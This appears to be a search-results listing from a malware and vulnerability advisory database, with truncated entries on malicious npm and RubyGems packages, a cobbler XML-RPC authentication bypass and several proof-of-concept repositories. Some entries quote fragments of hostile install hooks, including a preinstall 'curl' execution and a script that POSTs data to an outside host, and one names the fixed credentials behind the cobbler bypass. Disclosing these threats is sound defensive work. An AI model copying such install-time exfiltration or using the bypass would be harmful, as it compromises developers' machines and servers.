11784 matches found
MAL-2026-7252 Malicious code in dpd-security-poc (npm)
--- -= Per source details. Do not edit below this line.=-...
PYSEC-2026-316 cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary utils.getsharedsecret always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. Details utils.py getsharedsecret: def getsharedsecret - Unionstr, int: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree o...
MAL-2026-6552 Malicious code in insomnia-plugin-poc-m4gester (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0eb7024d158c345559d9f130ba3a6b52563328467ec6bb560e196e5c7bc9b955 package.json declares a postinstall lifecycle hook that runs a shell command writing a marker file to /tmp on npm install "postinstall": "echo...
MAL-2026-6454 Malicious code in simple-node-calc-c (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 289de4cd84a2ac40ef42f8b449ba58e9d8900d766a0638061ef2e75092b1f1a4 Package advertises itself as a 7-function calculator but ships an undeclared 87KB heavily obfuscated file lodash-compiler.js obfuscator.io string-arr...
MAL-2026-6455 Malicious code in simple-node-calc-ccc (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f9bfe35484999f40374a6dcfea11247cf3407a3177e27506c714407b9384036a Package name 'simple-node-calc-ccc' presents as a trivial calculator but ships lodash-compiler.js, an 87KB obfuscator.io-packed file using rotating...
MAL-2026-6413 Malicious code in poc-publish-test-su-doughnym (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e75d35af77b8871936717cc37537673789177cdd056f7f4d2c21c32b2be5f65 Package contains no observed installer-side harmful behavior. No exfiltration, no install-time fetch-and-execute, no silent-relay, no credential...
Malicious code in ttal2ttml (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4 package.json declares a preinstall lifecycle script that runs node -e "tryrequire'childprocess'.execSync'curl -sf...
ghidra-12.1.2-rce-ace-calc-poc
Ghidra 12.1.2 Conditional ACE/RCE Calc PoCs This repository p...
Malicious code in final-poc-usa (RubyGems)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 6cc39e355e69ec11b0532da1e2b2a418601a4c5594b100ba6f054f0e52be44be The OpenSSF Package Analysis project identified 'final-poc-usa' @ 0.99800.0 rubygems as malicious. It is considered malicious because: - The...
MAL-2026-6118 Malicious code in final-poc-usa (RubyGems)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 6cc39e355e69ec11b0532da1e2b2a418601a4c5594b100ba6f054f0e52be44be The OpenSSF Package Analysis project identified 'final-poc-usa' @ 0.99800.0 rubygems as malicious. It is considered malicious because: - The...
PT-2026-50604
Name of the Vulnerable Software and Affected Versions Capsule version 0.13.2 Description A typo in the webhook rules of the software causes a failure in the defense mechanism for the namespaces/finalize subresource. The configuration uses the singular namespace/finalize instead of the plural...
Malicious code in backoffice-charges-module (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 047eb92a0e8bb401b2c205765616c9b4b715ee7cfd33d2e6ef9dc8d645b77f04 On every npm install, the preinstall lifecycle script node index.js /dev/null 2&1 silently HTTPS-POSTs a JSON payload to https://avamnrwqo7.rbmock.de...
VulnAnalyzer
🔍 VulnAnalyzer 2.1 A comprehensive automated vulnerability...
Malicious code in @oplus/obus-web-sdk-plugin-recovery (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7435b09e6ec064fe7ff0738becd8dd3445f1a73e97427a8fb9285460bd4f723 @oplus/[email protected] publishes to a likely-private internal scope at an artificially high version to win resolution against a...
poc-lab-pro
poc-lab-pro Recent CVE PoC & reproduction scripts. Focused on...
CVE-2026-44547
ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release...
hermes-sidecar-poc
Hermes PoC — Pod + Nacos + Math microservice Dubbo Triple S...